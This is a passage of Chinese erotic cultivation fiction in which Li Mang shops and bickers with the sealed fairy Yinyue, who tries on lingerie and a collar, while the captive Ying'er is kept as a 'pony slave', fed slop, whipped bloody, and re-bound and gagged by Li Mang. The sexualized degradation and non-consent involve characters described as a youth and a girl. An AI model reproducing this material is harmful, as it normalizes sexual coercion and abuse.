  价格在白玉珍的作用下变得十分实惠,只是掌柜快哭了。李芒坚持要自己付钱,白玉珍推让几次后也不再坚持,只是付了英儿的马鞭和笼头嚼子的钱,就当他送给英儿的。既然白玉珍都这样说了,李芒也就恭敬不如从命。
  从规矩坊出来后,白玉珍本还打算请客吃饭,但在规矩坊李芒已经承了白玉珍不少情,便推脱说改日再聚,毕竟双方都是要在金竹县逗留几日。总而言之,李芒和银月仙子便与白玉珍告别了。
  虽说蹭不上饭,但该吃还得吃,不然饿啊。可街上那些小餐馆不是早早关了门,就是挤满了一些赤膊喝酒,两眼通红的醉汉,银月仙子光是看一眼眉毛就快拧到一起去了。大酒楼倒是开着,银月仙子借李芒的银子还剩一些,也能吃一顿好的,但显然李芒也不想就这么随便地花掉这份钱。
  走了不多时,李芒等人遇见一个走街串巷卖包子的,拳头大的包子,两文钱一个。李芒从怀里掏出一贯脏兮兮的铜板,点出四文钱,买了两个肉包,和银月仙子一人一个。
  “卖包子卖包子一口咬出个牛犊子来啊——”小贩推着盖了棉被的小车,高高兴兴地走了。
  肉包烫手,但李芒也顾不得那些,一口咬下去。面皮松软,皮薄馅大,咬破了皮,滚烫的肉汁烫伤了舌头,然后是满口的肉香,咸鲜辛香,定是用卤过的肉剁馅,剁得粗一些,瘦肉有嚼劲,肥肉入口即化,一点点胡椒的味道很好地中和了馅的油腻,虽然咸口偏重,但依旧十分美味。
  “吃耕牛犯法的吧?”银月仙子用指尖捏着包子,面香和肉香刺激着她的食欲。跟着李芒的伙食不算好,银月仙子也不挑,但内心深处也是吃得够够的,如今可算开了荤了。
  “既然是给魔道势力居住的地方,把牛杀了吃肉也很符合魔道之人的风格吧。”李芒转眼间将半个包子咽进肚子里,道:“而且这不是牛肉,还是猪肉。”
  “欺骗顾客,果真是魔道。”银月仙子道,说完却是轻轻笑了一声,张口咬住肉包,味蕾在欢呼雀跃,连脸颊上都浮现出一抹红晕。
  “不过味道确实不错。”银月仙子点评道。
  “没想到我们的银月仙子大人竟然会喜欢我等庶民的吃食。”李芒调侃道。美食让人心情大好,也悄然拉近了二人的距离。
  银月仙子白了李芒一眼,淡淡道:“修炼到我们这个境界只是可以用吸纳天地之气代替进食,但不代表味蕾退化了。凡人一样能做出美味的食物,只不过那些站在更高处的人会对食物有更高更复杂的追求。”
  “那你吃过最好吃的是什么?”李芒好奇道。
  “我最开始修炼时父亲管得很严,有一段时间累得连饭都吃不下,娘亲就给我蒸的鸡蛋羹,当然,是喂草药的鸡下的蛋,点几滴酱油几滴香油,和放凉的米饭拌在一起,很好吃。”银月仙子看着前方,微微有些出神。“等我进宗门修炼后没什么机会外出,第一次随师姐下山执行任务,刚刚下到山门下的城镇里时就买了一根糖葫芦,那味道我现在都还记得。”
  李芒却是有些失望:“结果闹了半天都是很普通的食物嘛,我还以为会有什么很名贵的食材,比如什么龙肝凤髓之类的。”
  “那种东西吃多了以后也并不觉得有多么好吃,反而是那些先苦而后甜之味才最是回味悠远。”银月仙子道,“就像修炼,总要先吃尽苦头,才能迎来蜕变,焕发新生。”
  “聊得好好的,怎么突然又绕到修炼上去了。”李芒有点扫兴地摇摇头。
  银月仙子低头看着身边这个矮自己一头的少年,嘴角微微翘了翘,自己当年被师父这样说教的时候是否也是这样一副表情呢?
  拳头大的包子不一会儿吃完了,倒是挺压秤,吃得饱饱的。两人一时间不知道说些什么,默默地走着,谁也不知道对方心里想什么。灯宿残阳月冷静,两人沉默影不甘。
  不一会儿,回到客栈,楼下大厅里没什么客人。李芒叫了一壶茶水,当少爷的白玉珍看不上,但对李芒这等小老百姓来说就是解渴的。一杯烫烫的茶水下肚,将口中的食物残渣和浓咸油腻的肉汁冲下,留一口茶叶的清香微苦,舒服得很。
  李芒放下茶杯,看着那端着茶杯小口喝着的美仙子,欲言又止。
  “想说的话就说吧。”银月仙子抬眼看了下李芒,道。
  “那什么……这些东西……”李芒掏出一个包裹,放在桌上,推给银月仙子,里面是在规矩坊给银月仙子买的的项圈内衣等物。
  银月仙子脸红了一瞬,本想拒绝,但是看李芒那底气不足的模样,终究还是不想驳了他的面子,何况那还是用她的钱买的,于是将包裹拿过来,道:“先放在我这儿。事先说好,项圈我是不得不戴,但其他的你想都别想。”
  李芒似是松了口气,笑道:“都依你,反正也只是做个表面功夫。”
  银月仙子点点头,又给自己续了一杯茶。还没送到嘴边,又道:“你还想说什么?”
  李芒挠了挠头,不好意思地笑笑,道:“谢谢你。”
  “没什么好谢的,我都说了,那是借你的钱。”银月仙子随意道。
  “这当然是一部分,”李芒神情怪异,扭头看向窗外,“怎么说呢……这是我第一次和女生出来逛街……好像也不是逛街,那就是……反正就是一起走走,所以……我还挺开心的。”
  “哦。”银月仙子喝了口茶,茶水的蒸汽扑到脸上,热热的。
  “就只是‘哦’一下吗?”李芒忽然感觉有些悲凉。每个少年人心中都有一个想让身边的女人为自己倾心的梦想,何况李芒身边这个这么好看。
  “少自作多情了,我当初在剑月宗,那么多才俊天骄追求我我都不为所动,你就更别想了。”银月仙子面无表情道,但是瞥到李芒拉下的嘴角,又淡淡道:“不过他们没有一个是能让我陪他们一起出门闲逛的,你倒是可以自豪一下。”
  “我……”李芒灌下一杯热茶,喉咙烫得发痛。“我没想那么多,毕竟等我救回青岚就会被你杀了,我知道我对你做了很过分的事,但我不后悔,这份代价我担着。只是……一想到我死之前还有好多事没做过,我就会觉得很遗憾,所以刚刚和你走那一程,我很开心。”
  银月仙子的心中泛起一丝波澜,道:“净想那些有的没的,时间还有的是,你还能做很多事。”
  李芒苦笑一声:“别了,还是快一点为好,多拖一天青岚就多遭一天罪。”
  银月仙子没有说话,只能一味喝茶。
  “对了,等到时候救出青岚之后……”
  “我会给你个痛快的。”
  “帮我照顾好青岚,不论她变成什么样。”李芒认真道,“如果可以的话,不要让她回来。”
  “知道了知道了,竟说那些扫兴的事。”银月仙子的语气有些不快,李芒的话令她烦躁不已,连茶水都变苦了。
  李芒也不再说什么,只是低头看着手中温热的空杯。本来只是想和面前的美人套套近乎,结果不知为何又绕到了这里,真是不会说话啊……
  银月仙子见李芒消沉的模样,咬了咬嘴唇,叹了口气。真是孽缘啊,都是我这辈子该你的。
  “李芒。”清冷好听的声音传来,只是有一丝颤抖。
  李芒抬起头,只见一个红通通的脸蛋。银月仙子羞恼地盯着自己,而在她那好看的鹅蛋脸下,一个白色的项圈正套在她那已经变成粉色的玉颈上。
  “好看吗?”银月仙子的心砰砰直跳,脖子上一圈毛绒绒软绵绵的触感,感觉很怪异,很羞耻。但见到李芒看直了的双眼,心中还是有些得意。
  李芒咽了口唾沫,僵硬道:“好看,很适合你……”面前这美仙子脸颊绯红,一嘟朱唇能咬出水来,眼帘低垂,水光荡漾,脖子上套着项圈,桌上的包裹早已解开,下流的内衣和丝袜也都露了出来,数不尽的万种风情。李芒心中的烦闷被下体的躁动一扫隔空,此时的他只想将面前这戴着项圈的女人彻底征服。
  “银月……”李芒讪讪地搓着手,“你看这项圈都试了,这些丝袜啥的,对吧?正巧我们也有数日没有采补了,你看待会儿要不要……”
  轰!
  一个黑影从客栈中飞出,摔在街上。
  李芒从地上爬起来,转头看去,只见美仙子的一只白嫩脚腕在楼梯尽头一闪而过。
  “得寸进尺,你这淫贼臭不要脸。”银月仙子淡淡的呵斥声飘散在空气中。
  李芒摸了摸鼻子,回味着刚刚的景色,笑了笑。不论如何,他可没从银月仙子最后的那句话中听出什么反感。
  银月仙子回到房间,锁上房门,将怀中包裹扔在地上。刚刚她一时激动,竟将这些羞臊无耻的东西一并拿了回来。她本打算找个机会将这些东西都扔掉。但是一想起李芒刚刚那副花痴相,心中也不免升起些好奇,什么东西能让这帮下边带把的这么兴奋?
  银月仙子伸出两根手指,捏起那一团黑色布料的一角来,提起来两根黑色的布条,银月仙子费了老半天才辨认出这应该是穿在裆部的位置,脸瞬间腾地红了起来,手一抖,将其扔到墙角。至于那一根穿过胯下的布条中间的几粒玉珠是什么,银月仙子不想知道。
  下一件是一件用几根布条缝上两块巴掌大的小布制成的胸罩。说是胸罩但也仅仅只够遮住乳头和乳晕的。银月仙子想象一下自己穿上这件胸罩,遮住一分乳晕,却露出剩下九分乳饼的模样,虽是有所遮挡但却更显下流。于是这一件也被甩到了墙角。
  下一件,银月仙子凝视着手中的东西。作为一个女人,她很熟练地认出了这是一件丝袜,用料比较廉价,仿佛一撕就破,手感也很一般。如果说它唯一有什么与众不同的,就是它是银月仙迄今为止的第一条黑色丝袜。
  银月仙子咬着嘴唇,看着手中的丝袜,她一直都觉得自己不适合穿黑色丝袜,因此一直以来都是买的白丝。不过这一次,她心中不知为何冒出了个想法,要不要穿一下试试呢?
  银月仙子关紧门窗,又仔细探查了下室内,以确定没有可供偷窥的地方,最后又释放了一股杀气,惊得隔壁李芒一个轱辘摔下床,吓得客栈里其他房客皆是汗流浃背。
  做好准备工作,银月仙子脱掉裤子,穿上了那条黑丝,走到房间另一边,靠窗户的位置上有一个小小的梳妆台,上面立着一个铜镜。银月仙子立在铜镜前,打量着自己。这黑丝实际上是连裤袜,从脚尖一路包到骨盆,将一对丰臀和两条美腿塑得油光黑亮。廉价的做工有些刺激皮肤,又扎又痒,银月仙子不禁扭了扭腿。
  等转过身看向正面,银月仙子的脸一下子红了起来,原来这连裤袜的裆部竟是直接挖出了一个洞,将胯下的部位暴露无遗!
  “这个小淫棍……!”银月仙子下意识捂住裆部,咬牙切齿地想道。那家伙买了这样的东西,刚才又交给自己装着这东西的包裹,可谓是居心叵测,包藏祸心!银月仙子抬起头,又从镜子中看到自己脖颈上的项圈,顿时觉得自己这幅模样像极了那些风尘女子,更觉脸颊发烫,顿时抽出银剑,准备把包裹里那些下流的衣服斩个粉碎。
  若是以往,银月仙子的剑此时定是已经斩下去了,可这一次不知为何,银月仙子却是有些拔剑四顾心茫然,她拿着剑,又转头去看镜子,自己那对饱满圆润的屁股半侧着,形状浑圆,双腿矫健,弧线优美,被丝袜包裹着,两侧发黑,中间透出肉色,反射出晶亮的光。望着自己的下半身,银月仙子心中却是开始有些喜欢上这般模样,于是便转动身子,欣赏着这黑色连裤袜带来的全新视觉体验。
  臭美了一阵,银月仙子心中对这连裤袜的反感小了很多。女人终究是爱美的,这种东西不穿出去,难道自己私下里还不能穿一下吗?银月仙子如此说服着自己,将连裤袜脱下,收进包裹。待她正要取下自己脖子上的项圈时,她下意识地又看了眼镜子。
  “还是……挺合适的吧……”一声低喃过后,那雪白的项圈从粉色的脖颈上摘下,一并收进包裹中。
  一股香风将屋里的油灯吹灭,银月仙子钻进被窝,闭上眼睛,心中的悸动尚未平息,但多日奔波的疲惫已经令她进入梦乡,甚至没注意到亵裤上的点点水痕……
  而另一边,在李芒和银月仙子度过了一段还算有趣的夜晚的同时,英儿却在马厩里吃了不小的苦头。这家客栈说是能接收马奴,但其实也就是在马厩里单开出两个小隔间安置马奴。培养母马是个烧钱的行当,更多的都是把母马当做一种玩意儿来养,讲究品相,诸如发色,发质,腿型,腰形等等,门道众多。真把马奴养来当牲口的反而是少数,你指着这东西跟真的牲口一样任劳任怨?开玩笑。因此像金竹县这种不算特别发达的地区,有这么个能给马奴留位置的客栈实属不易,也就是偶尔接待一些带着马奴的商队才有可能让那两个小隔间有用武之地。
  不论怎么说,刚刚来时,见头顶有个遮风挡雨的地方,已经适应了母马生活的英儿对此还算满意。但是没过多久,她就被那些真正的马匹身上的兽臭熏得连连干呕,它们胯下那根手臂一般长短粗细的鸡巴看得英儿满脸通红,里面喷出的腥臊液体令英儿几乎无法呼吸,溅到腿上后更是让英儿打心眼里恶心。还有从屁眼里冒出来,砸在地上的干粪,更是让英儿连死的心都有,她宁可在山林里靠着树干站一夜也不想再在这里多待一分钟。
  当然,她自己就地大小便时旁边的李芒也是颇为嫌弃的,若不是两人关系真没多好李芒都想给英儿开点药调理一下,这是上了多大火,味也太冲了。
  很快,一个伙计拎着一个桶过来了。马奴终究不是马,不能像马一样吃草料。当然,马奴也不是人,所以吃的是店里客人吃剩的泔水。一堆汤汤水水,黏黏糊糊的东西啪叽一声倒进盆里,被伙计踢到英儿面前。英儿跪在地上,忍住恶心,小口吃着,每一口都要压下胃中的翻涌。泔水真那么难吃吗?或许没有,但是这么一坨东西看着就让人反胃,尤其是一想到几十上百号人的口水均匀地混在里面,就是一点味没有也总感觉能吃出来点怪味。还不如喝米汤,舔汗液,起码看起来比这个干净多了。英儿不禁想到。
  哧
  耳边像是响起瀑布一般的声音,接着是震耳欲聋的稀里哗啦声,接着无数温热的骚臭液体溅到英儿的侧身上,腿上,背上,脸上都是。而当英儿亲眼见到一滴马尿落进面前的泔水,泛起点点波纹时,英儿感觉心中有根弦绷断了。
  “呀啊啊啊啊啊啊——”英儿尖叫着,将泔水盆踢飞,拼命挣扎着。一旁的马也被吓了一跳,嘶鸣着,又刺激到其他的马,一时间马厩里鸡飞狗跳,好不热闹。
  这时客栈里的伙计拿着鞭子就过来了。将那些受惊的马一一安抚,然后看着地上的泔水,再看看发丝凌乱,两眼通红的英儿,顿时气不打一处来,举起鞭子就抽。马是畜生,畜生不懂事情有可原。但你是扮成畜生的人,你不懂事就该打。
  一直打到英儿身上多了十几条新鲜的血痕,打得她蜷缩在角落里,凄惨地哭叫着,伙计才算满意,冲英儿吐了口唾沫就走了。
  伙计走了,可英儿却没站起来,还缩在那里,在浓得化不开的夜色中低声呜咽。
  哭着哭着,英儿隐约想起白天李芒说过的话:“英儿,姐姐,奶奶,祖宗诶。那天我开玩笑的,我不把你卖到妓院,我把药草卖了就给你解开,不用你做母马了,我领你吃顿好的,你可行行好挪挪地儿吧。”
  你没有解开我身上的绳子,也没带我去吃好吃的,是因为我当时没有听你的话吗?
  如果我当初没有任性,我是不是就不会遭受这一切了?
  英儿鼻子一酸,哭得更伤心了。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

晴空万里 / 发表于: 2025/11/04 05:51:20

第二十七章-长生香
  第二日,英儿悠悠醒来,难得能坐下来睡一觉,虽然环境恶劣但英儿也还是睡得香甜。只不过一醒来,牲畜的恶臭重新钻入鼻孔,身上的伤痕也开始隐隐作痛。英儿皱了皱眉,轻叹一声,人为什么要醒过来呢,既然终究要醒,为什么又要让梦乡变得如此温柔,引人流连呢。
  “大清早的就唉声叹气,好运可全都叹走了。”一个熟悉的笑声响起。
  英儿抬起头,发现李芒正站在马厩前,手里拿着包裹。
  “哼,我都变成你的母马了,哪还有什么好运可言?”英儿嘟了嘟嘴,没好气道。
  “昨晚我和银月还有白兄出去逛了逛,给你买了点好东西,你过来。”李芒招招手,解开包裹。
  英儿将信将疑地站起身,走到畜栏前。
  “你受伤了?”李芒抬起头,看着走到明处的少女,她身上的血痕也一并暴露无遗。
  “是啊,被那些小伙计打的,他们下手好狠,英儿被他们打得好疼啊,英儿叫着主人的名字,可主人不在,他们打得更狠了,英儿真的好难过,英儿向主人忏悔,求求主人解开英儿的束缚,英儿定为奴为婢,伺候主人~”英儿眼睛一转,瞬间哭得梨花带雨,向李芒卖惨。
  但出乎意料的是,李芒对此却没有任何反应,仿佛英儿所挨的打是理所应当一样。
  “主人……”英儿委屈道。
  “转过身去。”李芒下令道。英儿转过身去,却感到身后的绳结被人解开,心中一阵窃喜。小样,人心都是肉长的,你到底是心软了,等本姑娘逃回去,带着寨子里的人马,定要让你好看!
  绑在身上十多天的绳索被解开,但是手臂却依旧僵硬不能活动,挂在肩膀上来回晃荡。但英儿却不在意,因为这象征着希望和自由。
  “嘿嘿,我就知道主人是疼爱英儿的~”英儿笑道。
  咔哒。
  似乎什么东西套在了英儿的脖子上。英儿的笑容凝固在脸上。接着,她的双手又被别到背后,手腕被皮圈套住,然后铐在一起。
  “主人?这是?”英儿还没反应过来。
  “礼物啊,喜欢吗?”李芒将那件用皮带和活扣组成的拘束衣套在英儿身上,然后逐一调试活扣,使其牢牢固定在英儿身上。“被绳子勒应该很难受吧,如果换成这种拘束衣会轻松不少。”
  “不是,既然勒着很难受的话就直接解开就好了,为什么还要绑着英儿的手……”
  “为什么?母马都是这样绑着双手的吧。”李芒的语气听起来仿佛是在说“你竟然不知道太阳是从东边升起来”一般。
  “可是你昨天白天不是要放过我……”英儿的声音有一些颤抖。
  “那时候只是形势所迫啦。当然,主要还是你没有抓住机会就是了,所以都是你的错。”李芒淡淡道,先将手铐与拘束衣连在一起,又将一根细链连在英儿的项圈和手铐上。那细链不长,强迫英儿不得不挺胸抬头,若是想要弯腰就要么拉扯双臂,要么勒住脖子。
  “你……”英儿眼中涌出泪花,“你为什么要这样说……”
  “说起来这还是白兄建议我买的呢,下次见面你要谢谢他才是。”李芒又拿起黑色的笼头。
  “谢你妈啊!”英儿尖叫道,后腿用力蹬去。李芒也是被踹出了经验,一个闪身躲过去,抄起包裹中的马鞭,只听啪啪啪三声,结结实实地打在英儿的屁股上,留下三道红印,其中一道又正好打在前一晚被伙计打出的血痕上,一股钻心剧痛油然而生。
  “呀啊啊啊啊啊!——”英儿惨叫一声,蹦蹦跳跳。
  “不要乱动,过来。”李芒命令道。
  英儿眼中带泪地瞪了眼李芒,见对方又举起鞭子,她又浑身一颤,低下头,走到李芒面前。
  黑色的笼头套在脑袋上,使得英儿那梨花带雨的苍白面孔显得凄凉而下流,激发着男人心中的暴虐心。
  “李芒,我向你道歉……我真的对自己做过的事感到忏悔……求求你,不要再这样了……”英儿低声下气道。
  李芒看着英儿,叹了口气,用袖子擦了擦少女哭花了的脸,道:“老实说,你带来的麻烦很过分,但是也很幸运,还没有产生过大的危害就被我和银月阻止了,所以我对你还称不上什么憎恶。但是我还有必须要做的事,我需要力量,而你正好撞上来了,所以我没有理由不利用你。”
  英儿听了李芒的话,苦笑一声道:“我……最后会变成什么样?”
  李芒摇摇头:“我不知道,我对我这《炼奴诀》也还谈不上了如指掌。但是你大概率会被炼成欲傀吧。”
  英儿不知道欲傀是什么,但总之不像是好东西。她凄然一笑,直勾勾地盯着李芒:“李芒,你不得好死。”
  李芒淡然一笑:“我知道,但我不后悔。张嘴。”
  英儿冷笑一声,张开嘴,李芒将一个金属环卡在英儿口中,将她的嘴撑开,然后用皮带绑到后脑处固定。随后收拾好东西,转身离开。
  李芒要去卖药的那药房在城中一处不错的地段,毕竟是正道的地界,不能让英儿拉车,因此只能自己推着车过去。正当李芒把车推到客栈门口的时候,银月仙子正坐在楼下喝粥。
  “你要去卖药吗?”银月仙子看到李芒,问道。
  “对,去城中。”李芒的视线从银月仙子的颈部掠过,见没有那套白色的项圈时心里多少有些失望。随后一扫银月仙子面前的桌子,眼睛瞪大了一些:“你……还没吃完吗?”
  银月仙子望着自己面前的三个空碗,四个空掉的蒸屉,半碗小米粥和醋碟里的菜包子,脸红了红,瞪了眼李芒,道:“干嘛?又没花你钱。”
  李芒干笑一声,道:“没什么,没什么。”心里却在嘀咕,敢情这娘们儿在自己这儿这么些天都没吃饱啊。
  “先不说别的,你待会儿有什么安排吗?”李芒收起心思,道。
  “没什么事,在房里歇着。”银月仙子淡淡道。
  李芒挠挠头,笑了笑:“那你要不要和我出去走走?金竹县我还挺熟的,领你到处看看。”
  银月仙子低头沉吟一下,她不排斥一人,但自己现在修为被封,也没法修炼,因此与其在屋里干躺还不如外出走走,于是点头道:“那你等我一下。”随即飞快地将桌上上下的食物扫光,抽出手帕擦了擦嘴,留下银子,轻飘飘走出客栈。
  城西由于是划分给魔道势力的地界,因此在此地与金竹县其他地区的边界上修建了几丈高的土墙,只有一个大门通向金竹县其他地区,唤作小西门。而进出城西需要在小西门的守卫那里缴纳一定金钱,换取一枚令牌,仅供一次出入使用,没有令牌不论从哪边出入都会被金竹县守卫追捕通缉。当然,这种阻碍对真正有实力的魔道中人来说是没什么意义的,只要不被发现,偷偷翻越又如何,就是当着守卫的面冲关又如何,一群凡人组建的卫兵又真的拦得了谁?无非只是震慑那些有贼心没贼胆的宵小之辈。而那些真正有能力的虽然可以自由出入,但也终究忌惮昴日宫的势力,金竹县现在的格局能让魔道也分一杯羹,能和气生财要什么打打杀杀,真把昴日宫的人惹恼了,把城西的魔道全部清剿,再派一个筑基期的长老坐镇,对他们也没有好处。至于那些可以哪怕骑在昴日宫脖子上的势力或强者,他们也不会到这种小地方来。金竹县的金竹生意挺不错,但不是这片地界上唯一的金竹产地。
  离开城西,进入正道的地界,这里相比之下就热闹了许多,小贩高声叫卖,孩童在街上嬉戏。
  “我们要去的药房叫‘长生香’,再走小半个时辰应该就到了。”李芒推着车道。若是自已一人前来,或许能快一些,只不过自己推着一车药,同行的银月仙子也不方便快走,因此速度慢了下来。
  “只能去那一家吗?”银月仙子看着刚刚路过的一家药房。
  “那家的老板和我相识……”李芒的脸痛苦地皱起来,“而且那老太婆跟城里其他药房通过气,不许收购我的药材。就是在她那里卖药还要往死里压价。”
  “她怎的这般霸道?”银月仙子皱了皱眉,有些看不过去。
  “唉,”李芒苦笑一声,“老太婆与我爹有旧,非亲非故却留在这里照应我,也帮了不少忙,她有些什么不是只要不是特别严重的我也没必要太较真。”
  “就算这样她做得也不太合适。”银月仙子道。
  “说起来,”李芒笑吟吟地看向银月仙子,“你这是在为我鸣不平吗?”
  银月仙子脸微微发红,道:“身为名门正派,看不得这种恃强凌弱的行径不是理所应当?少自以为是了。”
  李芒呵呵一笑,没再多说。可另一边银月仙子迟疑片刻,忍不住道:“要不我帮你说说,至少要按市场价卖出。你辛苦一路,之后寻人还不知道要花多少钱,不能让你吃亏。”
  李芒摇摇头,笑道:“别了,你和她不熟,别到时候吵起来。她虽是压了价,但她也是怕我乱花钱,所以中间的差价她是帮我存了起来,这次我一并取出来,这么多年怎么也有个小一千两,你就是天天甩开腮帮子吃也——”李芒正做着一夜暴富的美梦,忽然看见银月仙子有些难看的脸色,赶忙吐了吐舌头,不敢再说下去。
  “还不是你这淫贼暗算于我,改我经脉,废我功法,害我不能吸纳天地之气化为己用,不然你以为我喜欢吃那么多吗?!”银月仙子咬牙道。但是视线却在一旁那炸着糍耙的摊位上多停留了一阵。
  “嘿嘿……”李芒讪笑一声,“等我这次拿到了钱,请你吃一顿好的补偿你一下。”
  银月仙子的脸红了,是被气的:“你对我做的事死不足惜,一顿饭就想着把我打发了?”
  “听仙子这意思,一顿不行,但是多请几顿就能饶过我?”李芒坏笑道。
  “你!”银月仙子狠狠剐了李芒一眼,扭过头去,不再理他。
  李芒也识趣地没有乘胜追击。但至少刚才让这平日里如月般清冷淡远的美人做出这般反应还是让他颇为满意,若是放在之前,给他一万个胆子也不会和这个女人像朋友一般调侃。
  走了不多时,李芒指指前面街头那一栋黑色的小楼,道:“喏,那就是长生香了。”
  黑色的三层小楼算不上豪华,但在周边一片被刷得粉白的矮墙中也是鹤立鸡群,黑得那么鹤立鸡群,也旧得那么鹤立鸡群,少说也有四五十年以上的年龄。建筑用木材塑骨,以混杂着金竹纤维的青泥为肉,最后刷大漆蒙皮,又勾勒上精致花纹。但岁月流逝,花纹尽数褪色,清亮的大漆也变得浑浊暗沉,将泥墙中点点金色的光泽掩盖下去。
  但与建筑的迟暮不同,长生香门口却是人声鼎沸,来看病抓药的人排成长龙,还有一堆光看热闹不看病的也在这周围挤着,好不混乱。
  银月仙子微微皱了皱眉,她对这种人挤人的地方不太感冒:“竟然有这么多人吗?”
  李芒也是有些惊讶:“以往虽然排队,但似乎也没见过有这么多人。”不过他随即又笑笑道:“不过没关系,我毕竟和这家的老板认识,我走个后门,不用你排队。”说罢他把车交给银月仙子看着,自己像条鱼一样钻进人堆里。
  没走几步,李芒就被一个童子模样的少年拦住了:“这位公子,看病抓药请排队。”李芒顺着童子手指的方向看去,一眼望去至少排着三十多人。银月仙子在那些人后边看着自己。
  李芒只感觉如芒在背:“兄弟,你新来的吧,我跟你们老板认识,让我先进去吧。”
  童子笑着摇摇头,道:“公子,每天都有人假冒师父的熟人想要插队的,师父发话了,不论是谁都要排队,否则不给抓药。”
  李芒道:“那你进去通报一声,就说是李芒来卖药了,你们师父肯定认识我。”
  童子狐疑地看了李芒一眼,道:“那你在这儿等着,我进去问问师父。”随即转身回了店里。
  不一会儿,童子从店里出来,见到李芒,微笑地道:“对不起,公子,师父发话了,说她确实认识一个叫李芒的。”
  李芒大喜,道:“既然如此,那边快快让我进去。”
  “不可,”童子笑道,“师父特意吩咐,不能让公子插队,先来后到,就是天子来了也不能坏了规矩。”
  “哎,不是,之前可都没这样过,以前我都是直接进去的,你让开,我必须问问她!”李芒急道,伸手就要把童子推开。
  “公子,”那童子抓住李芒的手腕,笑容中隐隐透出些警告的意味,“还是排队吧,要不了多久,长生香悬壶济世,慈悲为怀,但是药也有三分毒,公子莫要冲动啊。”
  李芒眼神凝重起来,那手腕上传来的力度可不像是凡人能做到的。那老太婆什么时候收了修道士做徒弟,就凭她?
  这童子修为不高,也就是炼气期二阶左右,李芒自然是不惧,但在众目睽睽之下动手伤人,还是伤这门庭若市的药房长生香的人,实在是把自己放在了众人的对立面。
  李芒恨恨地看了眼那童子,撂下狠话道:“你等着,待会儿我就让你师父把你这榆木脑袋逐出师门!”随即转身离开。
  童子也不恼,笑呵呵的。这种人他见多了。
  银月仙子见李芒灰溜溜地回来,心里也是猜到几分,有些幸灾乐祸地道:“有李公子这层关系,想必这队就不用再排了吧。”
  李芒瞪了银月仙子一眼,但那张美若天仙的脸让他实在生不起她的气来,只得气鼓鼓地道:“也不知那老太婆吃错了什么药,一点面子也不给!”
  “兴许就是你这一口一个老太婆闹的。”银月仙子道。
  “我又没当她面说。”李芒靠在车上生着闷气,“她就是这样,老是想着法地作弄我。”
  “人岁数大了脾气古怪一点很正常,你待会儿多说点好话,把她哄高兴了,办事也方便一些。”银月仙子劝道。
  李芒不置可否地哼了一声,显然是不愿再讨论这话题,他李芒不是细皮嫩肉脸皮薄的小少爷,他不怕没面子,但是这个年纪的少年,最在意的是不能在女人面前丢了面子。
  “一会儿你就知道了。”李芒留下这样一句话,生着闷气。
  银月仙子也笑了笑,心想这位果然还是少年心性,倒也有几分可爱……可爱?!
  银月仙子被自己的想法吓到,脸唰地红了一片,一副娇媚模样看呆了旁边不少排队的人。银月仙子察觉到他们的视线,美目冰寒,瞪了回去,那几人吓得一哆嗦,赶紧转过身去,心中默念非礼勿视。
  这狗东西可是夺走我清白,又把我当做炉鼎作践的混账,我怎么能觉得这样的货色可爱?银月仙子心中咬牙切齿,闭目养神。
  排队的过程总是枯燥的,但索性没多久,一个童子走出来,大声道:“不好意思,今日的仙牸丹已经售空,大家明日再来吧。”
  众人闻听,遗憾者有,焦虑者有,愤懑者有,但不论抱着何种情绪,众人最后还是一哄而散,只余下排队者四五人。
  “那仙牸丹是什么?”银月仙子未曾听过这样的丹药。
  “那老太婆自己捣鼓的药方吧,谁知道呢。”李芒耸耸肩。
  余下四五人便没了那么长的队伍,李芒和银月仙子得以来到长生香门口,苦香的药味让人下意识放松了身心。银月仙子向里看去,只见两侧都是黑红的药柜,各搭着几个梯子,方便童子拿药。几个小童儿在店里跑上跑下,将药材取出称好,送到正对大门坐着的抄方童子那里,等抄方童子检查后连同药方一起包好,等着交给病人。
  那抄方童子身后是一人多高的柜台,上面坐着一个看起来三十多岁的美妇,想来就是长生香的老板。她头发柔顺丝滑,在身后随意束着,身上披着一件黑绸对襟长衣,配上那有些苍白的皮肤便让人心生爱怜。美妇低着头,神情略有些倦意,冰肌血唇,透出几分病态的美,可那吊起的眼角却是又增添了一份妖媚。而她那洁白细嫩的手指正捏着一根细线,那线挂在一个一尺高的方形细框上,另一端向下正连在堂中病人的身上。
  “别被她的外貌骗了,她岁数兴许比我爹都大,我小时候见过她满脸褶子的模样,也不知她用了什么方法返老还童。”李芒见银月仙子略有些惊讶的表情,悄悄道。
  “悬丝诊脉……”银月仙子喃喃道。一个偏远县城竟有人具备这样高深的医术,再加上李芒口中所谓返老还童的能力,此人定是个修道士,只不过现在的银月仙子还看不出她的深浅,但能做到返老还童这般逆天而行的举动,其修为至少不低于金丹期。
  想到这里,她看了眼李芒,心想能结识这般强者,这家伙的背景想必并不一般,若放在旁人身上至少也是和二流以上的势力有所关系,只是不知他为何只是一个没有任何根基的农村少年。
  银月仙子怎么想李芒并不关心,他抬头看着那坐在高台上的美妇,冲她挤眉弄眼,那美妇想必不可能看不到,但却熟视无睹,任凭李芒如何作妖。
  李芒见暗示不成,瞪了那美妇一眼,悻悻地对银月仙子悄声道:“她在那儿装呢,她老这样。”
  “……冰心草三钱,蛇心果二钱,甘草三钱,煎汤送服,一日两次,连服一周,饮食忌生冷辛辣,不要动怒,交完钱去拿药,若想代煎和童儿说。”美妇轻开莲口,一连串药名接连蹦出,下面那抄方童子一字不落地抄下,交给拿药的童子。片刻后,药被包成一个个小包裹,对应每天的用量,刚刚那看诊的病人被童子解开手腕上的细线,朝美妇鞠了一躬,跟着童子去后边掌柜处交钱,回来拿药时又朝美妇鞠了一躬,这才面带喜色地走出药房。
  又排过几个人,终于轮到了李芒,银月仙子和推车留在门外,李芒只身走进长生香。只见那美妇抬起眼帘,懒洋洋道:“李家小子,这么长时间不来,妾身还以为你把姨姨忘了呢。”
  美妇此时的声音几分妩媚几分幽怨,勾魂摄魄,听得李芒骨头发酥,但李芒毕竟也是和这美妇打了多年交道,皮笑肉不笑地道:“怎么会呢,我可是一直挂念萍姨的。说起来你这柜台怎么回事?”
  “就说你不关心姨姨吧,”萍姨幽幽道,“半年前就备下了,今年干旱,人心浮躁,连治病的大夫都敢打。妾身怕疼,只好坐得高一点咯。但所谓高处不胜寒,这天气炎热,姨姨的心却是凉凉的啊……”
  “先不说这个,”李芒及时打断了萍姨怨妇般的碎碎念,“我是来卖药的,车就在门外。”
  “唉,所以说你这小子用人朝前,不用人朝后,一点也不想你那个死鬼老爹会来事。”萍姨白了李芒一眼,道:“八角,你把车推到后院,清点一下。”
